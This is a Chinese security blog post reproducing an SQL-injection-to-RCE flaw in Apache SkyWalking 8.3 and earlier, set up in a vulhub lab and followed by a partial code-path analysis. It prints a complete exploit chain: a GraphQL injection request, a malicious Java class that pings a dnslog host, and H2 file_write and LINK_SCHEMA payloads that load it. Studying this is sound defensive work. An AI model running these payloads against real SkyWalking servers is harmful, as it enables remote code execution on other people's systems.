专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
生态梦网  ·  正在公示!滨海新区拟规划这些道路... ·  11 小时前  
手游那点事  ·  2025春节档最大赢家:超8000万日活之后 ... ·  4 天前  
51好读  ›  专栏  ›  TimelineSec

Apache Skywalking <=8.3 SQL注入分析复现

TimelineSec  · 公众号  ·  · 2021-03-06 19:30

正文


上方蓝色字体关注我们,一起学安全!
作者: microworld @Timeline Sec
本文字数:1429
阅读时长:4~5min
声明:请勿用作违法用途,否则后果自负


0x01 简介


Apache SkyWalking 是一款应用性能监控(APM)工具,对微服务、云原生和容器化应用提供自动化、高性能的监控方案。项目于 2015 年创建,并于 2017 年 12 月进入 Apache 孵化器。


Apache SkyWalking 提供了分布式追踪,服务网格(Service Mesh)遥感数据分析,指标聚合和可视化等多种能力。项目覆盖范围,从一个单纯的分布式追踪系统,扩展为一个可观测性分析平台(observability analysis platform)和应用性能监控管理系统。


0x02 漏洞概述


基于 CVE-2020-9483、CVE-2020-13921,由于修补并不完善,导致被发现还存在一处SQL注入漏洞 。结合 h2 数据库(默认的数据库),可以导致 RCE 。


0x03 影响版本


Apache Skywalking <= 8.3


0x04 环境搭建


利用vulhub的环境:

wget https://github.com/vulhub/vulhub/blob/master/skywalking/8.3.0-sqli/docker-compose.ymldocker-compose up -d


然后访问8080端口,出现如下证明正常启动服务



0x05 漏洞复现


1、报错

对于vulhub提供的请求包,需要做些调整,请求如下:

POST /graphql HTTP/1.1Host: 192.168.18.154:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 554
{ "query":"query queryLogs($condition: LogQueryCondition) { queryLogs(condition: $condition) { total logs { serviceId serviceName isError content } }}", "variables":{ "condition":{ "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --", "endpointId":"1", "traceId":"1", "state":"ALL", "stateCode":"1", "paging":{ "pageSize":10 } } }}


成功报错:



2、RCE

总的来说分为两步:

(1)利用file_write写入一个类

编写恶意类:

import java.io.IOException;
public class evil { static { try { Runtime.getRuntime().exec("ping 7hmkm6.dnslog.cn"); } catch (IOException e) { e.printStackTrace(); } }
public static void main(String[] args) {
}}


生成恶意类:

javac evil.java -target 1.6 -source 1.6


转为hex:

with open("evil.class","rb") as f:     a=f.read()     print(a.hex())


写入类:

INFORMATION_SCHEMA.USERS union  all select file_write('[替换为自己的hex编码结果]','evil.class'))a where 1=? or 1=? or 1=? --


(2)利用LINK_SCHEMA调用该类

INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --


有一点要记住:

由于双亲委派机制,导致加载一次恶意类之后,再去使用 link_schema 加载的时候无法加载。所以在实际使用的时候,需要再上传一个其他名字的恶意类来加载。


即每次加载类,要替换名称。


成功获取结果:



0x06 漏洞分析


整个sql注入调用栈如下:



当请求/graphql路由时,会交由

org.apache.skywalking.oap.query.graphql的dopost处理



dopost获取请求的json数据



因为是向querylogs发起查询请求



所以就走到

org.apache.skywalking.oap.query.graphql.resolver的LogQuery.queryLogs的方法,返回时调用getQueryService().queryLogs方法



走到org.apache.skywalking.oap.server.core.query的LogQueryService类的queryLogs方法



通过调用getLogQueryDAO方法,获取一个ILogQueryDAO对象



进行计算该表达式可知,返回一个h2client








请到「今天看啥」查看全文